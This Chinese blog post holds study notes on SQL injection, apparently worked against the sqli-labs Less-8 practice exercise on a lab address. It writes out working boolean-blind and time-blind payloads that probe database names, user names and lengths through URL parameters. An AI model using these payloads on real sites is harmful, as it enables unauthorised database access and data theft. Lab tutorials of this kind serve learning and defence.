SQL注入-2
SQL注入的一般步骤
1.报错:需要用单引号 双引号 或者左小括号判断字符串 被什么包裹
2.正常:闭合语句,让语句不出现语法错误
3.判断列数 : order by 关键字
4.查询想要的内容 联合查询 union
基于报错的注入方式
布尔型盲注
条件:页面存在异常情况 ,但没有回显且没有报错信息
ascii('test') 返回 ascii码
ascii码范围是 0~127
返回指定字符串最左侧字符的ASCII值
练习1.
目标:http://10.1.2.5:10631/sqli/Less-8/?id=1
方法:布尔型盲注
http://10.1.2.5:10631/sqli/Less-8/?id=1' 页面显示不正常
http://10.1.2.5:10631/sqli/Less-8/?id=1" 页面显示正常
http://10.1.2.5:10631/sqli/Less-8/?id=1) 页面显示正常 说明存在单引号注入
http://10.1.2.5:10631/sqli/Less-8/?id=1' and ascii(substr(database(),1,1)) =0 %23 使用二分法进行实验 如果正确页面显示正常
http://10.1.2.5:10631/sqli/Less-8/?id=1' and ascii(substr(database(),1,1)) =115 %23
查询当前数据库用户名的长度
length() 返回内容的长度
char() 返回ascii码对应的字符 比如,char(114) => r
http://10.1.2.5:10631/sqli/Less-8/?id=1' and length(user())=14 %23
时间型盲注
条件:不管输入什么页面都没有任何异常,且没有回显没有报错信息
select if(True,2,3) => 2
select if(False,2,3) =>3
select if( payload,sleep(3),1) 如果payload 是真 三秒后执行 如果是假 立即执行
select if(length(current_user())>10,sleep(2),1); 查询当前用户名的长度是多少
本文来自博客园,作者:弟弟救我啊,转载请注明原文链接:https://www.cnblogs.com/Abelte/p/8881424.html